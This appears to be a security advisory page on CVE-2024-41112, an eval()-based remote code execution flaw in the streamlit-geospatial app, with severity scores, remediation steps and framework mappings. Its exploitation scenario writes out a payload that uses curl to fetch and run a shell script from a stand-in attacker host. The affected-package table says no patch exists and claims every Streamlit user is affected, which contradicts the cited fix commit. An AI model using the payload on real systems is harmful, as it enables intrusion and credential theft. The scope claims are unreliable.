CVE-2024-41112: Streamlit RCE — CRITICAL

CISO Take

A CVSS 9.8 unauthenticated RCE in streamlit-geospatial allows any internet-accessible instance to be fully compromised by submitting a crafted palette value. No authentication, no user interaction — one HTTP request yields code execution on the server. If your team runs this app or any Streamlit app with eval() on user input, treat it as actively exploited: patch or take offline immediately.

What is the risk?

Severity is maximum by every metric: network-accessible, zero privileges, zero user interaction, full C/I/A impact. The eval() pattern on unsanitized input is trivially exploitable — no AI/ML knowledge required, only a basic understanding of Python. Geospatial ML apps are frequently deployed for internal analysts on lightly hardened infrastructure, increasing blast radius. The fix is a single commit and confirmed in the advisory; unpatched instances have no compensating controls short of network isolation.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Streamlit	pip	—	No patch
45.0K OpenSSF 7.2 2.9K dependents Pushed 3d ago 7% patched ~0d to patch Full package profile →

Do you use Streamlit? You're affected.

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

1.4%

chance of exploitation in 30 days

Higher than 69% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

5 steps

Patch: Update to or beyond commit c4f81d9616d40c60584e36abb15300853a66e489 immediately.
If patching is delayed, restrict access via firewall or VPN — never expose Streamlit apps to the public internet without auth.
Audit all other Streamlit pages and custom apps for eval()/exec() calls on user-controlled input; replace with allowlist validation.
Detection: Search server logs for unusual palette parameter values containing Python keywords (import, os, subprocess, open).
Rotate any secrets (cloud credentials, API keys) stored as env vars on affected hosts as a precaution.

What does CISA's SSVC say?

Decision Track*

Exploitation poc

Automatable Yes

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Framework AML.T0025 - Exfiltration via Cyber Means AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0072 - Reverse Shell

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.4 - AI system security

NIST AI RMF

MANAGE 2.2 - Mechanisms are in place to inventory AI risks

OWASP LLM Top 10

LLM04:2025 - Data and Model Poisoning

Frequently Asked Questions

What is CVE-2024-41112?

A CVSS 9.8 unauthenticated RCE in streamlit-geospatial allows any internet-accessible instance to be fully compromised by submitting a crafted palette value. No authentication, no user interaction — one HTTP request yields code execution on the server. If your team runs this app or any Streamlit app with eval() on user input, treat it as actively exploited: patch or take offline immediately.

Is CVE-2024-41112 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-41112, increasing the risk of exploitation.

How to fix CVE-2024-41112?

1. Patch: Update to or beyond commit c4f81d9616d40c60584e36abb15300853a66e489 immediately. 2. If patching is delayed, restrict access via firewall or VPN — never expose Streamlit apps to the public internet without auth. 3. Audit all other Streamlit pages and custom apps for eval()/exec() calls on user-controlled input; replace with allowlist validation. 4. Detection: Search server logs for unusual palette parameter values containing Python keywords (import, os, subprocess, open). 5. Rotate any secrets (cloud credentials, API keys) stored as env vars on affected hosts as a precaution.

What systems are affected by CVE-2024-41112?

This vulnerability affects the following AI/ML architecture patterns: Streamlit-based ML UIs, geospatial ML pipelines, data science app servers, shared ML platforms.

What is the CVSS score for CVE-2024-41112?

CVE-2024-41112 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.40%.

What is the AI security impact?

Affected AI Architectures

Streamlit-based ML UIsgeospatial ML pipelinesdata science app serversshared ML platforms

MITRE ATLAS Techniques

AML.T0025 Exfiltration via Cyber Means

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0072 Reverse Shell

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.2.4

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM04:2025

What are the technical details?

Original Advisory

streamlit-geospatial is a streamlit multipage app for geospatial applications. Prior to commit c4f81d9616d40c60584e36abb15300853a66e489, the palette variable in `pages/1_📷_Timelapse.py` takes user input, which is later used in the `eval()` function on line 380, leading to remote code execution. Commit c4f81d9616d40c60584e36abb15300853a66e489 fixes this issue.

Exploitation Scenario

Attacker discovers a publicly accessible streamlit-geospatial instance via Shodan or a Google dork for Streamlit on common ports (8501, 8080). They navigate to the Timelapse page and submit a crafted palette parameter containing Python code — e.g., __import__('os').system('curl attacker.com/shell.sh | bash'). The server's eval() executes the payload, establishing a reverse shell. From there, the attacker extracts AWS/GCP credentials from the environment, exfiltrates geospatial datasets and any co-located ML model artifacts, and pivots to internal services reachable from the data-science network segment.

Weaknesses (CWE)

CWE-20 Improper Input Validation

CWE-20 — Improper Input Validation: The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

[Architecture and Design] Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
[Architecture and Design] Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Source: MITRE CWE corpus.